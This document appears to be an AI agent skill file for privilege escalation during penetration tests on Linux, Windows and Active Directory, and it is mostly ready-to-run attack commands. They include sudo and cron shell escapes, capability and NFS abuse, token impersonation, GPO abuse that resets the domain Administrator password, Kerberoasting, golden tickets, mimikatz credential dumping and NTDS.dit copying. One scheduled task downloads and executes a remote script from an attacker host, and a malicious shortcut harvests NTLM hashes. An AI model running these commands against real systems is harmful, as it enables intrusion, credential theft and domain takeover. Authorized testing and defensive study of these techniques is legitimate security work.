Privilege Escalation Methods

⚠️ AUTHORIZED USE ONLY — This skill is intended for authorized security professionals only. Use only against systems you own or have explicit written permission to test. Unauthorized use may violate applicable laws.

Privilege Escalation Methods

Purpose

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

Inputs/Prerequisites

• Initial low-privilege shell access on target system
• Kali Linux or penetration testing distribution
• Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
• Understanding of Windows/Linux privilege models
• For AD attacks: Domain user credentials and network access to DC

Outputs/Deliverables

• Root or Administrator shell access
• Extracted credentials and hashes
• Persistent access mechanisms
• Domain compromise (for AD environments)

Core Techniques

Linux Privilege Escalation

1. Abusing Sudo Binaries

Exploit misconfigured sudo permissions using GTFOBins techniques:

# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash

2. Abusing Scheduled Tasks (Cron)

# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab

# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh

# Wait for execution, then:
/bin/bash -p

3. Abusing Capabilities

# Find binaries with capabilities
getcap -r / 2>/dev/null

# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar

4. NFS Root Squashing

# Check for NFS shares
showmount -e <victim_ip>

# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash

5. MySQL Running as Root

# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p

Windows Privilege Escalation

1. Token Impersonation

# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe

# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser

2. Service Abuse

# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'

3. Abusing SeBackupPrivilege

import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit

4. Abusing SeLoadDriverPrivilege

# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe

5. Abusing GPO

.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"

Active Directory Attacks

1. Kerberoasting

# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request

# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt

2. AS-REP Roasting

.\Rubeus.exe asreproast

3. Golden Ticket

# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt

# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500

4. Pass-the-Ticket

.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist  # Verify ticket

5. Golden Ticket with Scheduled Tasks

# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch

# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi

# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"

Credential Harvesting

LLMNR Poisoning

# Start Responder
responder -I eth1 -v

# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico

NTLM Relay

responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support

Dumping with VSS

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\

Quick Reference

Constraints

Must:

• Have initial shell access before attempting escalation
• Verify target OS and environment before selecting technique
• Use appropriate tool for domain vs local escalation

Must Not:

• Attempt techniques on production systems without authorization
• Leave persistence mechanisms without client approval
• Ignore detection mechanisms (EDR, SIEM)

Should:

• Enumerate thoroughly before exploitation
• Document all successful escalation paths
• Clean up artifacts after engagement

Examples

Example 1: Linux Sudo to Root

# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/vim

# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)

Example 2: Windows Kerberoasting

# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt

Troubleshooting

Additional Resources

For detailed enumeration scripts, use:

• LinPEAS: Linux privilege escalation enumeration
• WinPEAS: Windows privilege escalation enumeration
• BloodHound: Active Directory attack path mapping
• GTFOBins: Unix binary exploitation reference

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

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